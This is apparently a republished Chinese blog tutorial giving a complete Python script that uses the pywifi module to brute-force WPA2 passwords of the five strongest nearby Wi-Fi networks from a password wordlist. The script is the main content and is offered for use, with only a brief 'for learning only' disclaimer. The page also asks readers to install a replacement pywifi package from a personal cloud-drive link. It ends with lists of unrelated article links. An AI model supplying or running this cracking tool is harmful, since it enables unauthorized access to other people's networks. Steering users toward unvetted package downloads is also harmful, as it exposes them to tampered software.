Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python中Continue语句的用法的举例详解
May 14 Python
python中import reload __import__的区别详解
Oct 16 Python
Python3计算三角形的面积代码
Dec 18 Python
python编程实现12306的一个小爬虫实例
Dec 27 Python
从django的中间件直接返回请求的方法
May 30 Python
图文详解python安装Scrapy框架步骤
May 20 Python
python实现操作文件(文件夹)
Oct 31 Python
解决tensorflow打印tensor有省略号的问题
Feb 04 Python
Windows+Anaconda3+PyTorch+PyCharm的安装教程图文详解
Apr 03 Python
python tkinter的消息框模块(messagebox,simpledialog)
Nov 07 Python
Python集合的基础操作
Nov 01 Python
python编程实现清理微信重复缓存文件
Nov 01 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
PHP限制页面只能在微信自带浏览器访问的代码
2014/01/15 PHP
PHP转盘抽奖接口实例
2015/02/09 PHP
php使用GD创建保持宽高比缩略图的方法
2015/04/17 PHP
YiiFramework入门知识点总结(图文教程)
2015/12/28 PHP
Yii1.1框架实现PHP极光推送消息通知功能
2018/09/06 PHP
PHP程序员简单的开展服务治理架构操作详解(三)
2020/05/14 PHP
PHP 8新特性简介
2020/08/18 PHP
jQuery中:image选择器用法实例
2015/01/03 Javascript
理解Javascript的动态语言特性
2015/06/17 Javascript
JS实现仿FLASH效果的竖排导航代码
2015/09/15 Javascript
js实现碰撞检测特效代码分享
2016/10/16 Javascript
使用cropper.js裁剪头像的实例代码
2017/09/29 Javascript
尝试自己动手用react来写一个分页组件(小结)
2018/02/09 Javascript
微信小程序仿朋友圈发布动态功能
2018/07/15 Javascript
vue在手机中通过本机IP地址访问webApp的方法
2018/08/15 Javascript
vue路由事件beforeRouteLeave及组件内定时器的清除方法
2018/09/29 Javascript
vue动态绑定class选中当前列表变色的方法示例
2018/12/19 Javascript
Vuejs中的watch实例详解(监听者)
2020/01/05 Javascript
JavaScript Tab菜单实现过程解析
2020/05/13 Javascript
JS实现电脑虚拟键盘打字测试
2020/06/24 Javascript
在Python的Flask框架中使用日期和时间的教程
2015/04/21 Python
python  创建一个保留重复值的列表的补码
2018/10/15 Python
Python对象与引用的介绍
2019/01/24 Python
用python写一个定时提醒程序的实现代码
2019/07/22 Python
pytorch加载自定义网络权重的实现
2020/01/07 Python
深入分析python 排序
2020/08/24 Python
Python实现像awk一样分割字符串
2020/09/15 Python
阿迪达斯加拿大官网:Adidas加拿大
2016/08/25 全球购物
超30万乐谱下载:Musicnotes.com
2016/09/24 全球购物
The Hut英国:英国领先的豪华在线百货商店
2019/07/26 全球购物
贪睡宠物用品:Snoozer Pet Products
2020/02/04 全球购物
十岁生日父母答谢词
2014/01/18 职场文书
关爱留守儿童倡议书
2014/04/15 职场文书
中学综治宣传月活动总结
2015/05/07 职场文书
因家庭原因离职的辞职信范文
2015/05/12 职场文书
详解CSS3浏览器兼容
2022/12/24 HTML / CSS